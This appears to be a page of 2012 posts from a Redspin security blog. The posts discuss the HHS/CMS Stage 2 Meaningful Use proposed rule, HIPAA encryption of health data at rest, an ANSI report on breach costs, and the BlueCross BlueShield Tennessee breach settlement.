I wasn’t the most popular person around the office printer late yesterday afternoon.  It was right after HHS and CMS finally released the proposed rule for Stage 2 of the EHR Meaningful Use Incentive Program. Earlier in the week, rumors regarding the release of the 445-page document swirled around the HIMSS12 Conference. Perhaps because it was in Las Vegas, Stage 2 seemed to take on its own celebrity status. HIMSS participants arrived early for the 8:30AM “Achieving Meaningful Use Symposium” and almost immediately began texting and tweeting their disappointment that there would be a delay in the release of Stage 2 details and the amendments to the Stage 1. Tuesday came with reports of Stage 2 “sightings” and ended with more disappointment.  Bookmakers puts the odds at 3:2 that the information would be disclosed before Dr.Farzad Mostashari, the National Coordinator for Health Information Technology delivered the Thursday morning keynote. Wrong again. Dr. Mostashari was able to speak to the highlights of the new proposed rule, but could only commit that full public disclosure would follow “soon.”  Then Elvis, I mean Dr. Mostashari, left the building. Enter Stage 2′s publicity “people.”  The press was told that the proposed rule would be posted to the Federal Register next week due to “formatting problems.”  But then, perhaps through Presidential Executive Order or an Act of Steve Wynn, the document was suddenly made available just after 5PM Eastern. And to prove not everything that happens in Vegas stays in Vegas, here’s a link where you can get your very own copy of the proposed rule.   http://www.ofr.gov/OFRUpload/OFRData/2012-04443_PI.pdf

 

Stage 2 Meaningful Use – Addressing Encryption/Security

Posted on February 25, 2012 by Dan Berger in Main | Leave a comment

Last week, Health and Human Services Secretary Kathleen Sebelius reported that the number of  hospitals using electronic health records (EHR) has more than doubled in the last two years from 16 to 35 percent.  She also said that 85 percent of all hospitals now report that by 2015 they intend to participate in The Centers for Medicare and Medicaid Services’ (CMS) EHR incentive program.

Also last week, CMS released the proposed Stage 2 Meaningful Use requirements for public comment.  The draft rule gives eligible hospitals and providers a good indication of where to focus their efforts as they continue their implementation and adoption of electronic health records throughout their organizations.  Stage 1 was mostly about transferring data to EHRs and being able to share information, including electronic copies and visit summaries for patients. Stage 2 moves the goalposts  further down field, requiring that patients have online access to their health information and facilitation of electronic health information exchange between providers.

The Stage 2 core requirement for IT security uses nearly identical language from Stage 1 regarding updating or conducting a  HIPAA security risk analysis.  Both Stage 1 and Stage 2 rely on the  HIPAA security rule provisions under federal code 45 CFR. HIPAA deems encryption an “addressable” specification, meaning a covered entity decides if it is a “reasonable and appropriate” technical security step to implement. The security rule enables an entity to adopt an alternative protective measure that achieves the same purpose.

But the difference between Stage 1 and Stage 2 on this issue is subtle but significant. Stage 1 only mentioned the security risk analysis provision. However, by specifically calling out out the issue of encryption at rest in Stage 2 , CMS has heightened the importance of analyzing the pros and cons of using the technology.  The complete language of the core objective for both hospitals and eligible providers requires that they:

“Conduct or review a security risk analysis in according with the requirements under 45 CFR 164.308(a)(1), including addressing the encryption/security of data at rest in accordance with requirements under 45 CFR 164.312(a)(2)(iv) and 45 CFR 164.306(d)(3), and implement security updates as necessary and correct identified security deficiencies as part of the provider’s risk management process.”

As Redspin reported in our February 1st  Breach Report 2011 – Protected Health Information:

“Of the 385 incidents affecting 500 or more individuals, 55% involved unencrypted devices or media. The Federal government is unlikely to mandate that all portable devices that store ePHI be encrypted, but it’s an obvious and sensible policy for a healthcare organization to adopt. Taking it further, why not require that all mobile devices in the healthcare workplace be encrypted, even if ePHI is not allowed on them.”

As we predicted, the government stopped short of a mandate. There is no movement afoot to change or add to the  HIPAA security rule requirements.  But in Stage 2 they emphasized that an EP or hospital should consider encrypting electronic protected health information as part of their security risk analysis, and where it is not “reasonable and appropriate,”  adopt an equivalent alternative measure of securing data.

Sometimes, you have to read between the lines… or in this case, read between the forward slash. We’ll be talking about the phrase “addressing the encryption/security of data at rest” for the next few years.

 

The Financial Impact of Breached Protected Health Information – A Business Case for Enhanced PHI Security

Posted on March 8, 2012 by Dan Berger in Main | 1 Comment

On Monday, March 5th, I was invited to a press conference in Washington, D.C. announcing the release of “The Financial Impact of Breached Protected Health Information – A Business Case for Enhanced PHI Security,” published by the American National Standards Institute (ANSI). The honorable Howard A. Schmidt, White House Cybersecurity Czar, kicked off the event. Mr. Schmidt commented that “in the continuum of the cybersecurity issues we look at, (healthcare security) is obviously critical as this is one that affects everyone.”

It was great to see the White House advocating the importance of healthcare IT security, right on the heels of the President Obama’s February release of a   new framework for protecting consumer data privacy

“One thing should be clear, even though we live in a world in which we share personal information more freely than in the past, we must reject the conclusion that privacy is an outmoded value. It has been at the heart of our democracy from its inception, and we need it now more than ever.”

– President Barack Obama

Mr. Schmidt referenced the President’s clarion call and concluded: “Without security, you don’t have privacy.”

The report itself “The Financial Impact of Breached Protected Health Information – A Business Case for Enhanced PHI Security” is a 67-page, glossy publication. Much like an annual report, it is attractively-designed, professionally-printed, and includes: 13 tables as well as numerous charts and graphics. The project was a huge collaborative effort with 3 leads, 2 premium sponsors, and 10 partner sponsors. Credits were extended to 82 individuals and their respective organizations on the full Project Team. Boxes full of reports were available at the National Press Club and Rayburn House Office Building. Copies were distributed to the press, members of Congress, and their aides. The report is also downloadable from ANSI at: http://webstore.ansi.org/phi/

The bulk of the report is a compilation of previously-published research, surveys, statistics, and news articles (as evidenced by the 122 footnotes). While it breaks no new ground, it is a useful marketing communications piece that will raise overall awareness of the IT security risks and challenges facing the healthcare industry.

At the end of the report, the authors suggest a new methodology for applying quantitative risk analysis to healthcare IT security called “PHIve.” Its end-goal is to enable an organization to calculate how much they should invest to reduce the risk of data breach. I am not a fan of this approach (see my upcoming presentation “In Praise of Qualitative Risk Analysis” at NCHICA’s 8th Annual Academic Medical Center Conference, April 23-25 in Chapel Hill, N.C.) However, the first of PHIve’s steps is:  “Conduct a Risk Assessment – Assess the Risks, Vulnerabilities, and Applicable Safeguards.”

Sound familiar? It should. After all, it is a requirement of the HIPAA Security Rule.  More recently, nearly identical language regarding security risk analysis has been included in the core requirements of Stage 1 and Stage 2 “meaningful use” for covered entities, eligible hospitals and eligible providers. Yet, at the Congressional lunch launch of The Financial Impact of Breached Healthcare Data, Joy Pritts, HHS’ Privacy and Security Officer, lamented “it is quite telling that a recent HIMSS survey found that 25% of respondents had not even conducted a security risk assessment.  It’s been part of the HIPAA Security Rule for what, the past 5 or 6 years?”

Redspin has conducted HIPAA Security Risk Analysis projects for dozens of hospitals over the past year enabling them to attest to Stage 1 meaningful use as well as maintain their compliance with the HIPAA Security Rule. While the PHIve quantitative risk methodology gets extremely elaborate, note that even that begins with a security risk assessment. It is a logical starting point. And in our view, Redspin’s security assessments enable you to significantly reduce your risk before making a single calculation. That’s invaluable, particularly with the increased attention on healthcare IT security at the highest levels of the Federal government.

 

A Blue Note: Looking Deeper at the 2009 PHI Breach at BlueCross BlueShield Tennessee

Posted on March 17, 2012 by Dan Berger in Main | 1 Comment

The cost of a significant data breach of protected health information (PHI) has been a popular topic in the news recently. The new ANSI publication“The Financial Impact of Breached Protected Health Information – A Business Case for Enhanced PHI Security” debuted with much fanfare in D.C. earlier this month. White House Cybersecurity Czar Howard Schultz kicked off a March 5th press conference where the release of the report was announced. His participation helped elevate the issue to a national audience.

The following day, many of the companies who helped ANSI produce the study revved up their own PR engines. Their  warning: While the widespread adoption of electronic health records will ultimately translate into greater efficiencies and better patient care, it also creates the possibility for massive data breaches. The risks to healthcare organizations go far beyond penalties imposed by HHS who must also consider the costs of restitution, legal fees, media relations, brand damage, and exposure to class-action lawsuits.

It was against this backdrop on March 13th that the Department of Health and Human Services (HHS) announced a data breach resolution agreement with BlueCross BlueShield Tennessee (BCBST), including a settlement payment of $1.5 million for potential violations of the HIPAA Privacy and Security rule. The breach was reported to HHS in 2009 when 57 unencrypted hard drives were stolen from a “data storage closet” in a customer call center facility that BCBST leased in Chattanooga, Tennessee. Over 1 million health records were affected. The personal data compromised included names, SS#, DOB, diagnosis codes and health plan ID numbers in the form of 1,000,000 audio and 300,000 video recordings of customer service calls.

At first glance, the $1.5 million dollar fine looked very light for a breach affecting 1 million patients. Dr. Deborah Peel, founder of the Patient Privacy Rights Foundation, commented on ModernHealthcare.com that the amount of the fine was “practically nothing,” particularly for such a large insurer. Additional reports confirmed that since the incident, BCBST has spent over $17 million dollars in investigation, notification and protection efforts. This was no doubt a factor that HHS considered when settling the case. In fact, the ongoing HHS/OCR investigation and persistent “overhang” of pending enforcement action was likely, in and of itself, the justification of making these improvements. Under classic behavior modification theory, the threat of punishment can often be more effective that the punishment itself (If you have kids, you know what I mean).

Yet, the total of $18.5 million for 1 million record breach, or approximately $18.50 per record, pales in comparison to the estimates used in “The Financial Impact of Breached Protected Health Information – A Business Case for Enhanced PHI Security.” Industry analysts consistently put the costs of PHI or PII data breach in the hundreds of dollars per record. A common restitution offer of late has been credit monitoring services for each individual for 2-3 years to protect against medical ID theft, generally at a cost around $29 per individual per year. Recent class action lawsuits filed following breaches of PHI data breach have asked for damages of $1,000 per patient.

So did BCBST get off easy? Well, they certainly did a good job of damage control. But in today’s environment, I doubt anyone could follow suit. BCBST very likely benefitted from HHS/OCR not being in position to immediately enforce the Breach Rule given that the HITECH Act itself has only just been enacted a few months prior to the breach. Now, some 2½ years later, they’ve had a chance to implement a stronger IT security program, including the encryption of its PHI data-at-rest, a step we at Redspin strongly advocate. Also, no cases of ID theft or fraud have come to light as a result of their breach.

While BCBST admitted to no liability as a result of the theft of the data and hard drives, they did agree to a 450-day corrective action plan (CAP) under which there policies, procedures, security controls and operations will be under enhanced scrutiny. As I told Information Week Healthcare:

“The monetary penalty may grab headlines but it’s the corrective action plan that provides the most insight. Effective IT security and compliance is only possible through an ongoing process. BCBST has now agreed to periodically review its policies and procedures, conduct regular HIPAA training for all employees, and monitor adherence to its own corrective action plan.”

These provisions will add to BCBST’s operational overhead for sure, but in reality, the CAP just reinforces prudent and responsible information security management, something all healthcare organizations need to have in place now. The risks (and potential costs) of data breach will accelerate geometrically as the adoption, implementation, and utilization of electronic health records continues to increase.

 

Stage 2 Meaningful Use: The Next Step in Security Risk Analysis

Posted on May 2, 2012 by Dan Berger in Main | Leave a comment

At first read, the security risk analysis (SRA) provisions of the proposed Stage 2 “meaningful use” regulations appear to have changed only slightly from those in Stage 1. The language in the draft rule is nearly identical to Stage 1, with one notable addition highlighted below:

“Conduct or review a security risk analysis in accordance with the requirements under 45 CFR 164.308(a)(1), including addressing the encryption/security of data at rest in accordance with requirements under 45 CFR 164.312(a)(2)(iv) and 45 CFR 164.306(d)(3), and implement security updates as necessary and correct identified security deficiencies as part of the provider’s risk management process.

Covered entities and eligible providers must now address the issue of encryption of “data at rest” as part of their security risk analysis process. This shines a spotlight on the existing encryption references within the HIPAA Security Rule. Encryption of ePHI is specifically covered under 45 CFR 164.312(a)(2)(iv) which reads; “Implement a mechanism to encrypt and decrypt electronic protected health information.” However, since it is categorized as an “addressable control,” it is not specifically mandated.

As part of Stage 2 Meaningful Use, encryption of “data at rest” must be considered as an addressable control. As such, providers need a process by which they evaluate whether the control is “reasonable and appropriate” and would likely contribute to protecting its health information.   If the control is deemed “reasonable and appropriate,” then it must be implemented.

However, if the provider decides “encryption of data at rest” is not reasonable and appropriate, then it must 1) document why it is not reasonable and appropriate, and 2) Implement an equivalent alternative measure if reasonable and appropriate. Despite a little remaining wiggle room, it has become increasingly difficult to justify not encrypting ePHI under the “reasonable and appropriate” caveat.

Turning to the new rules for EHR software certification, Stage 2 also requires the main software application ‘to be able to demonstrate the capacity to encrypt [data on] mobile devices in circumstances where the EHR technology manages the data flow on the mobile device,”

In our view, these provisions stop just short of a mandate. Determining reasonableness is not just about the cost of hardware and software or the complexity of implementation. It is more about whether or not the organization can execute the requirement consistently and effectively.

Given that the majority of significant breaches to date have been the result of lost or stolen devices containing unencrypted data, and the increasing mobility of data itself, it will be difficult to find “equivalent alternative measures.” That said, Redspin can provide a framework for considering the issue within our overall SRA roadmap and expert guidance on how to reasonably and effectively protect patient information.

 

Redspin Provides Public Comments on Proposed Stage 2 Meaningful Use (NPRM)

Posted on May 7, 2012 by Dan Berger in Main | Leave a comment

Redspin has provided security risk analysis (SRA) services to dozens of hospitals, helping them meet Core Measure 14 of the Stage 1 Meaningful Use EHR Incentive Program. As one of the leading experts in IT security, we take a comprehensive approach to these engagements. As such, our primary focus is to help our clients truly safeguard PHI from data breach by expanding beyond a strict interpretation of the Stage 1 Rule.

It is from that vantage point that we are providing our comments on the Proposed Rule for Stage 2 of this program. We are encouraged that CMS is shining a spotlight on the issue of encryption as it pertains to “data at rest.” Yet under HIPAA 45 CFR 164.312(a)(2)(iv), this requirement is listed as an “addressable” control but is not specifically mandated. The “addressable” standard allows for some latitude (i.e. determining whether encryption is “reasonable and appropriate” and if not, implementing equivalent protections).

For Stage 2 attestation, we assume providers will be required to clearly document their process for evaluating whether the control is “reasonable and appropriate…and would likely contribute to protecting its health information.”

While highlighting encryption of “data at rest” is a step in the right direction, it then raises two other significant issues. The first is in regard to business associates. What is CMS’ stance on the covered entities’ responsibility and authority over encryption of “data at rest” at business associates? Do covered entities now need to make that a requirement in their BAA’s? Who determines “reasonability and appropriateness?”

Also, what about the use of PHI in various other applications outside of the specific EHR system? Such applications may also store ePHI as structured data in an underlying database. Our concern is that encryption may be claimed as “unreasonable” in the context of the application, while the app itself may have never even been tested for security vulnerabilities.

1 2 3 4 5 6 ... 21 22   Next »